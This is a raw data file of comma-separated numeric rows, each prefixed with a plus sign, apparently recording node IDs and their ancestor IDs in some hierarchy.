+18379,18349,18378,18379,0 +18380,18349,18378,18380,0 +18381,18349,18378,18381,0 +18382,18349,18378,18382,0 +18383,18349,18378,18383,0 +18384,18349,18378,18384,0 +18385,18349,18378,18385,0 +18386,18349,18378,18386,0 +18387,18349,18378,18387,0 +18389,18349,18388,18389,0 +18390,18349,18388,18390,0 +18391,18349,18388,18391,0 +18392,18349,18388,18392,0 +18393,18349,18388,18393,0 +18395,18349,18394,18395,0 +18397,18349,18396,18397,0 +18398,18349,18396,18398,0 +18399,18349,18396,18399,0 +18400,18349,18396,18400,0 +18402,18349,18401,18402,0 +18403,18349,18401,18403,0 +18404,18349,18401,18404,0 +18405,18349,18401,18405,0 +18406,18349,18401,18406,0 +18407,18349,18401,18407,0 +18408,18349,18401,18408,0 +18410,18349,18409,18410,0 +18412,18349,18411,18412,0 +18413,18349,18411,18413,0 +18414,18349,18411,18414,0 +18415,18349,18411,18415,0 +18416,18349,18411,18416,0 +18418,18349,18417,18418,0 +18419,18349,18417,18419,0 +18420,18349,18417,18420,0 +18422,18349,18421,18422,0 +18423,18349,18421,18423,0 +18424,18349,18421,18424,0 +18425,18349,18421,18425,0 +18426,18349,18421,18426,0 +18427,18349,18421,18427,0 +18428,18349,18421,18428,0 +18429,18349,18421,18429,0 +18430,18349,18421,18430,0 +18431,18349,18421,18431,0 +18432,18349,18421,18432,0 +18433,18349,18421,18433,0 +18434,18349,18421,18434,0 +18435,18349,18421,18435,0 +18437,18349,18436,18437,0 +18438,18349,18436,18438,0 +18439,18349,18436,18439,0 +18440,18349,18436,18440,0 +18441,18349,18436,18441,0 +18442,18349,18436,18442,0 +18443,18349,18436,18443,0 +18444,18349,18436,18444,0 +18445,18349,18436,18445,0 +18446,18349,18436,18446,0 +18447,18349,18436,18447,0 +18448,18349,18436,18448,0 +18450,18349,18449,18450,0 +18451,18349,18449,18451,0 +18452,18349,18449,18452,0 +18453,18349,18449,18453,0 +18455,18349,18454,18455,0 +18456,18349,18454,18456,0 +18457,18349,18454,18457,0 +18458,18349,18454,18458,0 +18459,18349,18454,18459,0 +18460,18349,18454,18460,0 +18462,18349,18461,18462,0 +18463,18349,18461,18463,0 +18464,18349,18461,18464,0 +18465,18349,18461,18465,0 +18466,18349,18461,18466,0 +18467,18349,18461,18467,0 +18468,18349,18461,18468,0 +18469,18349,18461,18469,0 +18470,18349,18461,18470,0 +18472,18349,18471,18472,0 +18473,18349,18471,18473,0 +18474,18349,18471,18474,0 +18475,18349,18471,18475,0 +18476,18349,18471,18476,0 +18478,18349,18477,18478,0 +18480,18349,18479,18480,0 +18481,18349,18479,18481,0 +18813,18349,18812,18813,0 +18490,18482,18483,18490,0 +18491,18482,18484,18491,0 +18492,18482,18485,18492,0 +18493,18482,18486,18493,0 +18494,18482,18487,18494,0 +18495,18482,18488,18495,0 +18496,18482,18489,18496,0 +18503,18482,18497,18503,0 +18504,18482,18498,18504,0 +18505,18482,18499,18505,0 +18506,18482,18500,18506,0 +18507,18482,18501,18507,0 +18508,18482,18502,18508,0 +18510,18482,18509,18510,0 +18512,18482,18511,18512,0 +18513,18482,18511,18513,0 +18514,18482,18511,18514,0 +18515,18482,18511,18515,0 +18516,18482,18511,18516,0 +18517,18482,18511,18517,0 +18518,18482,18511,18518,0 +18519,18482,18511,18519,0 +18520,18482,18511,18520,0 +18521,18482,18511,18521,0 +18522,18482,18511,18522,0 +18523,18482,18511,18523,0 +18524,18482,18511,18524,0 +18525,18482,18511,18525,0 +18526,18482,18511,18526,0 +20475,18482,18511,20475,0 +18535,18482,18534,18535,0 +18537,18482,18536,18537,0 +18538,18482,18536,18538,0 +18539,18482,18536,18539,0 +18540,18482,18536,18540,0 +18541,18482,18536,18541,0 +18542,18482,18536,18542,0 +18543,18482,18536,18543,0 +18544,18482,18536,18544,0 +18545,18482,18536,18545,0 +18546,18482,18536,18546,0 +18547,18482,18536,18547,0 +18548,18482,18536,18548,0 +18549,18482,18536,18549,0 +18550,18482,18536,18550,0 +18551,18482,18536,18551,0 +18552,18482,18536,18552,0 +18554,18482,18553,18554,0 +18556,18482,18555,18556,0 +18558,18482,18557,18558,0 +18560,18482,18559,18560,0 +18562,18482,18561,18562,0 +18563,18482,18561,18563,0 +18565,18482,18564,18565,0 +18567,18482,18566,18567,0 +18569,18482,18568,18569,0 +18571,18482,18570,18571,0 +18572,18482,18570,18572,0 +18573,18482,18570,18573,0 +20474,18482,20473,20474,0 +18576,18574,18575,18576,0 +18577,18574,18575,18577,0 +18578,18574,18575,18578,0 +18579,18574,18575,18579,0 +18580,18574,18575,18580,0 +18582,18574,18581,18582,0 +18583,18574,18581,18583,0 +18584,18574,18581,18584,0 +18585,18574,18581,18585,0 +18586,18574,18581,18586,0 +18587,18574,18581,18587,0 +18588,18574,18581,18588,0 +18589,18574,18581,18589,0 +18591,18574,18590,18591,0 +18592,18574,18590,18592,0 +18593,18574,18590,18593,0 +18594,18574,18590,18594,0 +18596,18574,18595,18596,0 +18597,18574,18595,18597,0 +18598,18574,18595,18598,0 +18599,18574,18595,18599,0 +18600,18574,18595,18600,0 +18603,18601,18602,18603,0 +18604,18601,18602,18604,0 +18605,18601,18602,18605,0 +18606,18601,18602,18606,0 +18608,18601,18607,18608,0 +18609,18601,18607,18609,0 +18610,18601,18607,18610,0 +18611,18601,18607,18611,0 +18612,18601,18607,18612,0 +18613,18601,18607,18613,0 +18614,18601,18607,18614,0 +18616,18601,18615,18616,0 +18617,18601,18615,18617,0 +18618,18601,18615,18618,0 +18619,18601,18615,18619,0 +18620,18601,18615,18620,0 +18621,18601,18615,18621,0 +18623,18601,18622,18623,0 +18624,18601,18622,18624,0 +18625,18601,18622,18625,0 +18626,18601,18622,18626,0 +18628,18601,18627,18628,0 +18629,18601,18627,18629,0 +18630,18601,18627,18630,0 +18632,18601,18631,18632,0 +18634,18601,18633,18634,0 +18636,18601,18635,18636,0 +18639,18637,18638,18639,0 +18640,18637,18638,18640,0 +18641,18637,18638,18641,0 +18642,18637,18638,18642,0 +18644,18637,18643,18644,0 +18645,18637,18643,18645,0 +18646,18637,18643,18646,0 +18647,18637,18643,18647,0 +18648,18637,18643,18648,0 +18650,18637,18649,18650,0 +18652,18637,18651,18652,0 +18654,18637,18653,18654,0 +18655,18637,18653,18655,0 +18656,18637,18653,18656,0 +18657,18637,18653,18657,0 +18658,18637,18653,18658,0 +18659,18637,18653,18659,0 +18660,18637,18653,18660,0 +18663,18637,18662,18663,0 +18665,18637,18664,18665,0 +18669,18637,18666,18669,0 +18670,18637,18667,18670,0 +18671,18637,18668,18671,0 +18673,18637,18672,18673,0 +18674,18637,18672,18674,0 +18675,18637,18672,18675,0 +18676,18637,18672,18676,0 +18677,18637,18672,18677,0 +18678,18637,18672,18678,0 +18679,18637,18672,18679,0 +18680,18637,18672,18680,0 +18681,18637,18672,18681,0 +18682,18637,18672,18682,0 +18683,18637,18672,18683,0 +18684,18637,18672,18684,0 +18685,18637,18672,18685,0 +18686,18637,18672,18686,0 +18687,18637,18672,18687,0 +18688,18637,18672,18688,0 +18689,18637,18672,18689,0 +18690,18637,18672,18690,0 +18691,18637,18672,18691,0 +18692,18637,18672,18692,0 +18693,18637,18672,18693,0 +18694,18637,18672,18694,0 +18695,18637,18672,18695,0 +18696,18637,18672,18696,0 +18697,18637,18672,18697,0 +18698,18637,18672,18698,0 +18699,18637,18672,18699,0 +18700,18637,18672,18700,0 +18701,18637,18672,18701,0 +18702,18637,18672,18702,0 +18703,18637,18672,18703,0 +18704,18637,18672,18704,0 +18705,18637,18672,18705,0 +18706,18637,18672,18706,0 +18709,18637,18707,18709,0 +18710,18637,18708,18710,0 +18712,18637,18711,18712,0 +18713,18637,18711,18713,0 +18714,18637,18711,18714,0 +18715,18637,18711,18715,0 +18716,18637,18711,18716,0 +18717,18637,18711,18717,0 +18718,18637,18711,18718,0 +18719,18637,18711,18719,0 +18720,18637,18711,18720,0 +18721,18637,18711,18721,0 +18722,18637,18711,18722,0 +18723,18637,18711,18723,0 +18724,18637,18711,18724,0 +18725,18637,18711,18725,0 +18726,18637,18711,18726,0 +18727,18637,18711,18727,0 +18729,18637,18728,18729,0 +18730,18637,18728,18730,0 +18731,18637,18728,18731,0 +18732,18637,18728,18732,0 +18733,18637,18728,18733,0 +18736,18637,18734,18736,0 +18737,18637,18735,18737,0 +18739,18637,18738,18739,0 +18740,18637,18738,18740,0 +18741,18637,18738,18741,0 +18742,18637,18738,18742,0 +18743,18637,18738,18743,0 +18744,18637,18738,18744,0 +18746,18637,18745,18746,0 +18747,18637,18745,18747,0 +18748,18637,18745,18748,0 +18749,18637,18745,18749,0 +18751,18637,18750,18751,0 +18752,18637,18750,18752,0 +18753,18637,18750,18753,0 +18754,18637,18750,18754,0 +18816,18814,18815,18816,0 +18817,18814,18815,18817,0 +18818,18814,18815,18818,0 +18819,18814,18815,18819,0 +18820,18814,18815,18820,0 +18821,18814,18815,18821,0 +18822,18814,18815,18822,0 +18823,18814,18815,18823,0 +18824,18814,18815,18824,0 +18825,18814,18815,18825,0 +18826,18814,18815,18826,0 +18827,18814,18815,18827,0 +18828,18814,18815,18828,0 +18829,18814,18815,18829,0 +18830,18814,18815,18830,0 +18831,18814,18815,18831,0 +18832,18814,18815,18832,0 +18833,18814,18815,18833,0 +18834,18814,18815,18834,0 +18835,18814,18815,18835,0 +18836,18814,18815,18836,0 +18837,18814,18815,18837,0 +18838,18814,18815,18838,0 +18839,18814,18815,18839,0 +18840,18814,18815,18840,0 +18841,18814,18815,18841,0 +18842,18814,18815,18842,0 +18843,18814,18815,18843,0 +18844,18814,18815,18844,0 +18845,18814,18815,18845,0 +18846,18814,18815,18846,0 +18847,18814,18815,18847,0 +18848,18814,18815,18848,0 +18849,18814,18815,18849,0 +18850,18814,18815,18850,0 +18851,18814,18815,18851,0 +18852,18814,18815,18852,0 +18853,18814,18815,18853,0 +18854,18814,18815,18854,0 +18855,18814,18815,18855,0 +18856,18814,18815,18856,0 +18858,18814,18857,18858,0 +18859,18814,18857,18859,0 +18860,18814,18857,18860,0 +18861,18814,18857,18861,0 +18862,18814,18857,18862,0 +18863,18814,18857,18863,0 +18864,18814,18857,18864,0 +18865,18814,18857,18865,0 +18866,18814,18857,18866,0 +18867,18814,18857,18867,0 +18868,18814,18857,18868,0 +18869,18814,18857,18869,0 +18870,18814,18857,18870,0 +18871,18814,18857,18871,0 +18872,18814,18857,18872,0 +18873,18814,18857,18873,0 +18874,18814,18857,18874,0 +18875,18814,18857,18875,0 +18876,18814,18857,18876,0 +18877,18814,18857,18877,0 +18878,18814,18857,18878,0 +18879,18814,18857,18879,0 +18880,18814,18857,18880,0 +18886,18814,18857,18886,0 +18887,18814,18857,18887,0 +18888,18814,18857,18888,0 +18889,18814,18857,18889,0 +18890,18814,18857,18890,0 +18891,18814,18857,18891,0 +18899,18814,18857,18899,0 +18900,18814,18857,18900,0 +18901,18814,18857,18901,0 +18902,18814,18857,18902,0 +18903,18814,18857,18903,0 +18904,18814,18857,18904,0 +18905,18814,18857,18905,0 +18906,18814,18857,18906,0 +18907,18814,18857,18907,0 +18908,18814,18857,18908,0 +18909,18814,18857,18909,0 +18910,18814,18857,18910,0 +18911,18814,18857,18911,0 +18912,18814,18857,18912,0 +18913,18814,18857,18913,0 +18914,18814,18857,18914,0 +18915,18814,18857,18915,0 +18916,18814,18857,18916,0 +18917,18814,18857,18917,0 +18918,18814,18857,18918,0 +18919,18814,18857,18919,0 +18920,18814,18857,18920,0 +18921,18814,18857,18921,0 +18922,18814,18857,18922,0 +18923,18814,18857,18923,0 +18924,18814,18857,18924,0 +18925,18814,18857,18925,0 +18926,18814,18857,18926,0 +18927,18814,18857,18927,0 +18928,18814,18857,18928,0 +18929,18814,18857,18929,0 +18930,18814,18857,18930,0 +18931,18814,18857,18931,0 +18932,18814,18857,18932,0 +18933,18814,18857,18933,0 +18934,18814,18857,18934,0 +18938,18814,18857,18938,0 +18939,18814,18857,18939,0 +18940,18814,18857,18940,0 +18941,18814,18857,18941,0 +18942,18814,18857,18942,0 +18943,18814,18857,18943,0 +18944,18814,18857,18944,0 +18949,18814,18857,18949,0 +18950,18814,18857,18950,0 +18951,18814,18857,18951,0 +18957,18814,18857,18957,0 +18958,18814,18857,18958,0 +18959,18814,18857,18959,0 +18960,18814,18857,18960,0 +18961,18814,18857,18961,0 +18966,18814,18857,18966,0 +18967,18814,18857,18967,0 +18968,18814,18857,18968,0 +18969,18814,18857,18969,0 +19301,19298,19299,19301,0 +19302,19298,19299,19302,0 +19303,19298,19299,19303,0 +19304,19298,19299,19304,0 +19305,19298,19299,19305,0 +19306,19298,19299,19306,0 +19307,19298,19300,19307,0 +19309,19298,19308,19309,0 +19311,19298,19310,19311,0 +20080,20078,20079,20080,0 +20082,20078,20081,20082,0 +20083,20078,20081,20083,0 +20084,20078,20081,20084,0 +20085,20078,20081,20085,0 +20086,20078,20081,20086,0 +20087,20078,20081,20087,0 +20342,20340,20341,20342,0 +20344,20340,20343,20344,0 +20346,20340,20345,20346,0 +20348,20340,20347,20348,0 +19184,2933,2937,19174,19184 +19185,2933,2937,19174,19185 +19186,2933,2937,19174,19186 +19187,2933,2937,19174,19187 +19188,2933,2937,19174,19188 +19189,2933,2937,19175,19189 +19190,2933,2937,19175,19190 +19191,2933,2937,19175,19191 +19192,2933,2937,19176,19192 +19193,2933,2937,19176,19193 +19194,2933,2937,19176,19194 +19195,2933,2937,19176,19195 +19196,2933,2937,19176,19196 +19197,2933,2937,19176,19197 +19198,2933,2937,19176,19198 +19199,2933,2937,19176,19199 +19200,2933,2937,19176,19200 +19201,2933,2937,19177,19201 +19202,2933,2937,19177,19202 +19203,2933,2937,19177,19203 +19204,2933,2937,19177,19204 +19205,2933,2937,19177,19205 +19206,2933,2937,19177,19206 +19207,2933,2937,19177,19207 +19208,2933,2937,19177,19208 +19209,2933,2937,19177,19209 +19210,2933,2937,19177,19210 +19211,2933,2937,19177,19211 +19212,2933,2937,19177,19212 +19213,2933,2937,19178,19213 +19214,2933,2937,19178,19214 +19215,2933,2937,19178,19215 +19216,2933,2937,19178,19216 +19217,2933,2937,19178,19217 +19218,2933,2937,19178,19218 +19219,2933,2937,19179,19219 +19220,2933,2937,19179,19220 +19221,2933,2937,19179,19221 +19222,2933,2937,19179,19222 +19223,2933,2937,19179,19223 +19224,2933,2937,19179,19224 +19225,2933,2937,19179,19225 +19226,2933,2937,19179,19226 +19227,2933,2937,19180,19227 +19228,2933,2937,19180,19228 +19229,2933,2937,19180,19229 +19230,2933,2937,19180,19230 +19231,2933,2937,19180,19231 +19232,2933,2937,19180,19232 +19233,2933,2937,19180,19233 +19234,2933,2937,19181,19234 +19235,2933,2937,19181,19235 +19236,2933,2937,19181,19236 +19237,2933,2937,19181,19237 +19238,2933,2937,19182,19238 +19239,2933,2937,19182,19239 +19240,2933,2937,19183,19240 +19241,2933,2937,19183,19241 +19242,2933,2937,19183,19242 +19243,2933,2937,19183,19243 +19244,2933,2937,19183,19244 +19245,2933,2937,19183,19245 +19246,2933,2937,19183,19246 +19247,2933,2937,19183,19247 +19248,2933,2937,19183,19248 +19250,2933,2940,19249,19250 +19251,2933,2940,19249,19251 +19252,2933,2940,19249,19252 +19254,2933,2942,19253,19254 +19255,2933,2942,19253,19255 +19256,2933,2942,19253,19256 +19257,2933,2942,19253,19257 +19259,2933,2942,19258,19259 +19260,2933,2942,19258,19260 +19262,2933,2942,19261,19262 +19263,2933,2942,19261,19263 +19264,2933,2942,19261,19264 +19265,2933,2942,19261,19265 +19266,2933,2942,19261,19266 +19267,2933,2942,19261,19267 +19269,2933,2946,19268,19269 +19270,2933,2946,19268,19270 +19271,2933,2946,19268,19271 +18176,5217,5228,5232,18176 +18177,5217,5228,5232,18177 +18178,5217,5228,5232,18178 +18179,5217,5228,5232,18179 +18180,5217,5228,5232,18180 +18181,5217,5228,5232,18181 +18182,5217,5228,5232,18182 +18183,5217,5228,5232,18183 +18184,5217,5228,5232,18184 +18185,5217,5228,5232,18185 +18158,5217,18136,18152,18158 +18159,5217,18136,18152,18159 +18160,5217,18136,18152,18160 +18161,5217,18136,18152,18161 +18162,5217,18136,18152,18162 +18163,5217,18136,18152,18163 +18164,5217,18136,18153,18164 +18165,5217,18136,18153,18165 +18166,5217,18136,18153,18166 +18167,5217,18136,18153,18167 +18168,5217,18136,18157,18168 +18169,5217,18136,18157,18169 +18170,5217,18136,18157,18170 +18171,5217,18136,18157,18171 +18172,5217,18136,18157,18172 +18173,5217,18136,18157,18173 +18174,5217,18136,18157,18174 +18175,5217,18136,18157,18175 +18194,5217,18137,18187,18194 +18195,5217,18137,18187,18195 +18196,5217,18137,18187,18196 +18197,5217,18137,18187,18197 +18198,5217,18137,18187,18198 +18199,5217,18137,18187,18199 +18200,5217,18137,18187,18200 +18201,5217,18137,18187,18201 +18202,5217,18137,18187,18202 +18203,5217,18137,18187,18203 +18204,5217,18137,18187,18204 +18205,5217,18137,18187,18205 +18206,5217,18137,18187,18206 +18207,5217,18137,18187,18207 +18208,5217,18137,18187,18208 +18209,5217,18137,18187,18209 +18210,5217,18137,18187,18210 +18211,5217,18137,18187,18211 +18212,5217,18137,18187,18212 +18213,5217,18137,18187,18213 +18214,5217,18137,18187,18214 +18215,5217,18137,18187,18215 +18216,5217,18137,18187,18216 +18217,5217,18137,18187,18217 +18218,5217,18137,18187,18218 +18219,5217,18137,18187,18219 +18220,5217,18137,18187,18220 +18221,5217,18137,18187,18221 +18222,5217,18137,18187,18222 +18223,5217,18137,18187,18223 +18224,5217,18137,18187,18224 +18225,5217,18137,18187,18225 +18226,5217,18137,18187,18226 +18227,5217,18137,18187,18227 +18228,5217,18137,18187,18228 +18229,5217,18137,18187,18229 +18230,5217,18137,18187,18230 +18231,5217,18137,18187,18231 +18232,5217,18137,18187,18232 +18233,5217,18137,18189,18233 +18234,5217,18137,18189,18234 +18235,5217,18137,18190,18235 +18236,5217,18137,18190,18236 +18237,5217,18137,18193,18237 +18238,5217,18137,18193,18238 +7526,6398,6465,6466,7526 +7527,6398,6465,6466,7527 +7528,6398,6465,6466,7528 +7529,6398,6465,6466,7529 +7531,6398,6465,6466,7531 +7532,6398,6465,6466,7532 +7533,6398,6465,6467,7533 +7534,6398,6465,6467,7534 +7535,6398,6465,6467,7535 +7536,6398,6465,6467,7536 +7537,6398,6465,6467,7537 +7538,6398,6465,6467,7538 +7539,6398,6465,6467,7539 +7540,6398,6465,6467,7540 +7541,6398,6465,6467,7541 +7542,6398,6465,6468,7542 +7544,6398,6465,6468,7544 +7545,6398,6465,6468,7545 +7546,6398,6465,6468,7546 +7547,6398,6465,6468,7547 +7548,6398,6465,6468,7548 +7549,6398,6465,6468,7549 +7550,6398,6469,6471,7550 +7551,6398,6469,6471,7551 +7552,6398,6469,6471,7552 +7553,6398,6469,6471,7553 +20431,6536,6569,20430,20431 +20432,6536,6569,20430,20432 +20434,6536,6569,20433,20434 +20435,6536,6569,20433,20435 +7554,6630,6631,6632,7554 +7556,6630,6631,6632,7556 +7557,6630,6631,6632,7557 +7558,6630,6631,6632,7558 +7559,6630,6631,6632,7559 +7560,6630,6631,6632,7560 +7561,6630,6631,6632,7561 +7568,6630,6631,6640,7568 +7569,6630,6631,6640,7569 +7570,6630,6631,6640,7570 +7571,6630,6631,6640,7571 +7572,6630,6631,6640,7572 +7562,6630,6631,6641,7562 +7563,6630,6631,6641,7563 +7564,6630,6631,6641,7564 +7565,6630,6631,6641,7565 +7566,6630,6631,6641,7566 +7567,6630,6631,6641,7567 +18798,6630,6631,6641,18798 +18802,6630,6631,6641,18802 +20296,6630,6631,6641,20296 +7573,6630,6654,6655,7573 +7574,6630,6654,6655,7574 +7575,6630,6654,6655,7575 +7576,6630,6654,6655,7576 +7579,6630,6654,6655,7579 +7580,6630,6654,6655,7580 +7628,6630,6654,6655,7628 +7581,6630,6654,6667,7581 +7582,6630,6654,6667,7582 +7583,6630,6654,6667,7583 +7584,6630,6654,6667,7584 +7585,6630,6654,6667,7585 +7586,6630,6671,6672,7586 +7587,6630,6671,6672,7587 +7588,6630,6671,6672,7588 +7589,6630,6671,6672,7589 +7590,6630,6671,6672,7590 +7591,6630,6671,6672,7591 +7592,6630,6671,6672,7592 +7593,6630,6671,6672,7593 +7594,6630,6671,6672,7594 +7595,6630,6671,6672,7595 +7596,6630,6671,6672,7596 +7597,6630,6671,6672,7597 +7598,6630,6671,6682,7598 +7599,6630,6671,6682,7599 +7600,6630,6671,6682,7600 +7601,6630,6671,6682,7601 +7602,6630,6671,6682,7602 +7525,6630,6729,6732,7525 +7603,6630,6729,6732,7603 +7604,6630,6729,6732,7604 +7618,6630,6729,6735,7618 +7619,6630,6729,6735,7619 +7620,6630,6729,6735,7620 +7621,6630,6729,6735,7621 +7622,6630,6729,6735,7622 +7623,6630,6729,6735,7623 +7624,6630,6729,6735,7624 +7625,6630,6729,6735,7625 +7626,6630,6729,6735,7626 +7627,6630,6729,6735,7627 +7605,6630,6729,6745,7605 +7606,6630,6729,6745,7606 +7607,6630,6729,6745,7607 +7608,6630,6729,6745,7608 +7609,6630,6729,6745,7609 +7610,6630,6729,6745,7610 +7611,6630,6729,6745,7611 +7612,6630,6729,6745,7612 +7613,6630,6729,6753,7613 +7614,6630,6729,6753,7614 +7615,6630,6729,6753,7615 +7616,6630,6729,6753,7616 +7617,6630,6729,6753,7617 +7906,7629,7630,7722,7906 +7907,7629,7630,7722,7907 +7908,7639,7640,7820,7908 +7909,7639,7640,7820,7909 +7910,7639,7640,7820,7910 +7911,7639,7640,7820,7911 +7912,7639,7640,7820,7912 +7913,7639,7640,7823,7913 +7914,7639,7640,7823,7914 +7915,7639,7640,7823,7915 +7916,7639,7640,7823,7916 +7917,7639,7640,7823,7917 +7918,7639,7640,7823,7918 +7919,7639,7640,7823,7919 +7920,7639,7640,7823,7920 +7921,7639,7640,7823,7921 +7922,7639,7640,7823,7922 +7923,7639,7640,7823,7923 +7924,7639,7640,7823,7924 +7925,7639,7640,7826,7925 +7926,7639,7640,7826,7926 +7927,7639,7640,7826,7927 +7928,7639,7640,7826,7928 +7929,7639,7640,7826,7929 +7930,7639,7640,7827,7930 +7931,7639,7640,7827,7931 +7932,7639,7640,7827,7932 +7933,7639,7640,7827,7933 +7934,7639,7640,7827,7934 +7935,7639,7640,7827,7935 +7936,7639,7640,7827,7936 +7937,7639,7640,7827,7937 +7938,7639,7640,7828,7938 +7939,7639,7640,7828,7939 +7940,7639,7640,7828,7940 +7941,7639,7640,7828,7941 +7942,7639,7640,7828,7942 +7943,7639,7640,7828,7943 +7944,7639,7640,7828,7944 +7945,7639,7640,7828,7945 +7946,7639,7640,7828,7946 +7947,7639,7640,7828,7947 +7948,7639,7640,7829,7948 +7949,7639,7640,7829,7949 +7950,7639,7640,7829,7950 +7951,7639,7640,7832,7951 +7952,7639,7640,7832,7952 +7953,7639,7640,7832,7953 +7954,7639,7640,7833,7954 +7955,7639,7640,7833,7955 +7956,7639,7640,7833,7956 +7957,7639,7640,7833,7957 +7958,7639,7640,7833,7958 +7959,7639,7640,7833,7959 +7960,7639,7640,7834,7960 +7961,7639,7640,7834,7961 +7962,7639,7640,7834,7962 +7963,7639,7640,7834,7963 +7964,7639,7640,7834,7964 +7965,7639,7640,7834,7965 +7966,7639,7640,7834,7966 +7967,7639,7640,7834,7967 +7968,7639,7640,7837,7968 +7969,7639,7640,7837,7969 +7970,7639,7640,7837,7970 +7971,7639,7640,7837,7971 +7972,7639,7640,7837,7972 +7973,7639,7640,7838,7973 +7974,7639,7640,7838,7974 +7975,7639,7640,7838,7975 +7976,7639,7640,7838,7976 +7977,7639,7640,7838,7977 +7978,7639,7640,7838,7978 +7979,7639,7640,7838,7979 +7980,7639,7640,7838,7980 +7981,7639,7640,7838,7981 +7982,7639,7640,7840,7982 +7983,7639,7640,7840,7983 +7984,7639,7640,7840,7984 +7985,7639,7640,7840,7985 +7986,7639,7640,7840,7986 +7987,7639,7640,7840,7987 +7988,7639,7640,7840,7988 +7989,7639,7640,7840,7989 +7990,7639,7640,7842,7990 +7991,7639,7640,7842,7991 +7992,7639,7640,7842,7992 +7993,7639,7640,7842,7993 +7994,7639,7640,7842,7994 +7995,7639,7640,7842,7995 +7996,7639,7640,7842,7996 +7997,7639,7640,7842,7997 +7998,7639,7640,7842,7998 +7999,7639,7640,7842,7999 +8000,7639,7640,7842,8000 +8001,7639,7640,7842,8001 +8002,7639,7640,7842,8002 +8003,7639,7640,7842,8003 +8004,7639,7640,7842,8004 +8005,7639,7640,7843,8005 +8006,7639,7640,7843,8006 +8007,7639,7640,7843,8007 +8008,7639,7640,7843,8008 +8009,7639,7640,7843,8009 +8010,7639,7640,7843,8010 +8011,7639,7640,7846,8011 +8012,7639,7640,7846,8012 +8013,7639,7640,7846,8013 +8014,7639,7640,7846,8014 +8015,7639,7640,7846,8015 +8016,7639,7640,7846,8016 +8017,7639,7640,7846,8017 +8018,7639,7640,7846,8018 +8019,7639,7640,7846,8019 +8020,7639,7640,7847,8020 +8021,7639,7640,7847,8021 +8022,7639,7640,7847,8022 +8023,7639,7640,7847,8023 +8024,7639,7640,7847,8024 +8025,7639,7640,7847,8025 +8026,7639,7640,7847,8026 +8027,7639,7640,7847,8027 +8028,7639,7640,7847,8028 +8029,7639,7640,7848,8029 +8030,7639,7640,7848,8030 +8031,7639,7640,7848,8031 +8033,7639,7641,7850,8033 +8034,7639,7641,7850,8034 +8035,7639,7641,7850,8035 +8036,7639,7641,7850,8036 +8037,7639,7641,7850,8037 +8038,7639,7641,7850,8038 +8039,7639,7641,7850,8039 +8040,7639,7641,7850,8040 +8041,7639,7641,7850,8041 +8042,7639,7641,7851,8042 +8043,7639,7641,7851,8043 +8044,7639,7641,7851,8044 +8045,7639,7641,7852,8045 +8046,7639,7641,7852,8046 +8047,7639,7641,7852,8047 +8048,7639,7641,7852,8048 +8049,7639,7641,7852,8049 +8050,7639,7641,7852,8050 +8051,7639,7641,7852,8051 +8052,7639,7641,7852,8052 +8053,7639,7641,7852,8053 +8054,7639,7641,7852,8054 +8055,7639,7641,7852,8055 +8056,7639,7641,7852,8056 +8057,7639,7641,7852,8057 +8058,7639,7641,7852,8058 +8059,7639,7641,7852,8059 +8060,7639,7641,7852,8060 +8061,7639,7641,7852,8061 +8062,7639,7641,7852,8062 +8063,7639,7641,7852,8063 +8064,7639,7641,7853,8064 +8065,7639,7641,7853,8065 +8066,7639,7641,7853,8066 +8067,7639,7641,7853,8067 +8068,7639,7641,7853,8068 +20116,7639,7641,7853,20116 +20117,7639,7641,7853,20117 +20197,7639,7641,7853,20197 +20114,7639,7641,20113,20114 +20115,7639,7641,20113,20115 +8069,7639,7645,7854,8069 +8070,7639,7645,7854,8070 +8071,7639,7645,7854,8071 +8072,7639,7645,7854,8072 +8073,7639,7645,7854,8073 +8074,7639,7645,7854,8074 +8075,7639,7645,7854,8075 +8076,7639,7645,7854,8076 +8077,7639,7645,7854,8077 +8078,7639,7645,7854,8078 +8079,7639,7645,7856,8079 +8080,7639,7645,7856,8080 +8081,7639,7645,7856,8081 +8082,7639,7645,7856,8082 +8083,7639,7645,7856,8083 +8084,7639,7645,7856,8084 +8085,7639,7645,7856,8085 +8086,7639,7645,7856,8086 +8087,7639,7645,7856,8087 +20120,7639,7645,7856,20120 +20234,7639,7645,7856,20234 +8088,7639,7645,7857,8088 +8089,7639,7645,7857,8089 +8090,7639,7645,7857,8090 +8091,7639,7645,7857,8091 +8092,7639,7645,7857,8092 +8093,7639,7645,7857,8093 +8094,7639,7646,7858,8094 +8095,7639,7646,7858,8095 +8098,7639,7646,7858,8098 +8099,7639,7646,7858,8099 +8100,7639,7646,7858,8100 +8101,7639,7646,7858,8101 +8102,7639,7646,7858,8102 +8103,7639,7646,7858,8103 +8104,7639,7646,7858,8104 +8105,7639,7646,7858,8105 +8106,7639,7646,7858,8106 +8107,7639,7646,7858,8107 +8108,7639,7646,7858,8108 +8109,7639,7646,7858,8109 +8110,7639,7646,7858,8110 +8111,7639,7646,7858,8111 +8112,7639,7646,7858,8112 +8113,7639,7646,7858,8113 +8114,7639,7646,7858,8114 +8115,7639,7646,7858,8115 +8116,7639,7646,7858,8116 +8117,7639,7646,7858,8117 +8118,7639,7646,7858,8118 +8119,7639,7646,7858,8119 +20122,7639,7646,7858,20122 +8120,7639,7646,7860,8120 +8121,7639,7646,7860,8121 +8122,7639,7646,7860,8122 +8123,7639,7646,7860,8123 +8124,7639,7646,7860,8124 +8125,7639,7646,7860,8125 +8126,7639,7646,7860,8126 +8127,7639,7646,7860,8127 +8128,7639,7646,7860,8128 +8129,7639,7646,7860,8129 +8130,7639,7646,7860,8130 +8131,7639,7646,7860,8131 +8132,7639,7646,7860,8132 +8133,7639,7646,7861,8133 +8134,7639,7646,7861,8134 +8135,7639,7646,7861,8135 +8136,7639,7646,7861,8136 +8137,7639,7646,7861,8137 +8138,7639,7646,7861,8138 +8139,7639,7646,7861,8139 +8140,7639,7646,7861,8140 +8141,7639,7646,7861,8141 +8142,7639,7646,7861,8142 +8143,7639,7646,7861,8143 +20124,7639,7646,7861,20124 +20127,7639,7664,20126,20127 +20128,7639,7664,20126,20128 +8144,7639,7720,7883,8144 +8145,7639,7720,7883,8145 +8146,7639,7720,7883,8146 +8147,7639,7720,7883,8147 +8148,7639,7720,7883,8148 +8149,7639,7720,7883,8149 +8150,7639,7720,7883,8150 +8151,7639,7720,7883,8151 +8152,7639,7720,7883,8152 +8153,7639,7720,7883,8153 +8154,7639,7720,7883,8154 +8155,7639,7720,7883,8155 +8156,7639,7720,7883,8156 +8157,7639,7720,7883,8157 +8158,7639,7720,7883,8158 +8159,7639,7720,7883,8159 +8160,7639,7720,7883,8160 